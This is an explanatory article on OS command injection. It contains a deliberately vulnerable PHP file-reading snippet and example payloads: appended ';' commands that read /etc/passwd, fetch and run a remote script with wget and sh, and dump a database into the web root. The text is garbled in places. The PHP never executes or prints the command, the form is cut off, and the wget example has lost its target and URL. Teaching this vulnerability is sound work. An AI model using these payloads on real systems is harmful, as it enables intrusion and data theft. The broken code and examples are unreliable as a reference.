OS Command Injection: Security Threat and Examples

OS Command Injection is a frequent and critical security vulnerability encountered in the realm of cybersecurity. Essentially, it refers to the ability of an attacker to inject malicious commands into an application, which are then executed at the operating system level on the server. This can lead to severe risks such as data theft, system compromise, or service disruption.

What is OS Command Injection?

OS Command Injection is a security vulnerability commonly seen in web applications. In this type of attack, an attacker sends harmful commands to the application. If the application passes these inputs to the operating system without sufficient validation, the attacker can gain control over the system.

How Does It Work?

  1. Lack of Input Validation: If the application doesn’t properly validate or sanitize user inputs, it can be exploited by attackers.
  2. Injection of Malicious Commands: Attackers send operating system commands instead of regular data input.
  3. Execution on the System: The application passes these commands to the operating system, which can affect the system.

Attack Scenarios

  • Data Leakage: Attackers can steal database information or sensitive files.
  • Privilege Escalation: An attacker with limited system access can exploit this vulnerability to gain higher privileges.
  • Denial of Service (DoS): Attackers can exhaust system resources, leading to service downtime.

Example of Vulnerable Code

This example is for educational purposes and should not be used in real-world applications. Here is a simple PHP code with an OS Command Injection vulnerability:

// WARNING: This code contains security vulnerabilities and is for educational purposes only. Do not use in real applications.

if (isset($_GET['file'])) {
    $file = $_GET['file'];

    // The 'file' parameter from the user is directly passed to the system command.
    // This leads to an OS Command Injection vulnerability.
    $command = "cat " . $file;
    echo '<pre>';
    echo '</pre>';

<!DOCTYPE html>
    <form action="readfile.php" method="get">
        File Name: <input type="text" name="file">
        <input type="submit" value="Read File">

This code takes a file name from the user and combines it with the cat command to execute on the server. Since the user input is used directly and without filtering, this code is vulnerable to OS Command Injection attacks. For example, a user could enter ; ls as a command in the file name field to list files on the server.

Examples of OS Command Injection

Example 1: Simple Command Injection

Consider a web application where users input a file name to view its contents. If this input is not properly validated, an attacker could inject a command like:

filename.txt; cat /etc/passwd

Here, the application shows the contents of filename.txt, while also revealing the contents of /etc/passwd, exposing system user information to the attacker.

Example 2: Remote Code Execution

Imagine a web form that takes an IP address from the user to ping using a command. If this input is not properly filtered, an attacker could inject:; wget; sh

This command makes the server ping, then download and execute a malicious script from the attacker’s server.

Example 3: Database Compromise

In an application where a file name input is directly passed to a system command, an attacker could use the following command to steal SQL database information:

userdump.txt; mysqldump -u username -ppassword databasename > /var/www/html/databasebackup.sql

This command creates a backup of the database and saves it in an accessible location on the web server. The attacker can then download this file to access sensitive data.

Prevention Measures

  1. Input Validation and Sanitization: Applications should rigorously validate and sanitize user inputs.
  2. Parameterized Queries: Using fixed parameters can prevent command injection attacks.
  3. Firewalls and Monitoring Tools: Network firewalls and intrusion detection systems can provide protection by monitoring suspicious activities.


OS Command Injection can lead to serious security threats. Therefore, it is vital for application developers to adopt security best practices and regularly test their applications. Users should also be aware and download software from trusted sources.

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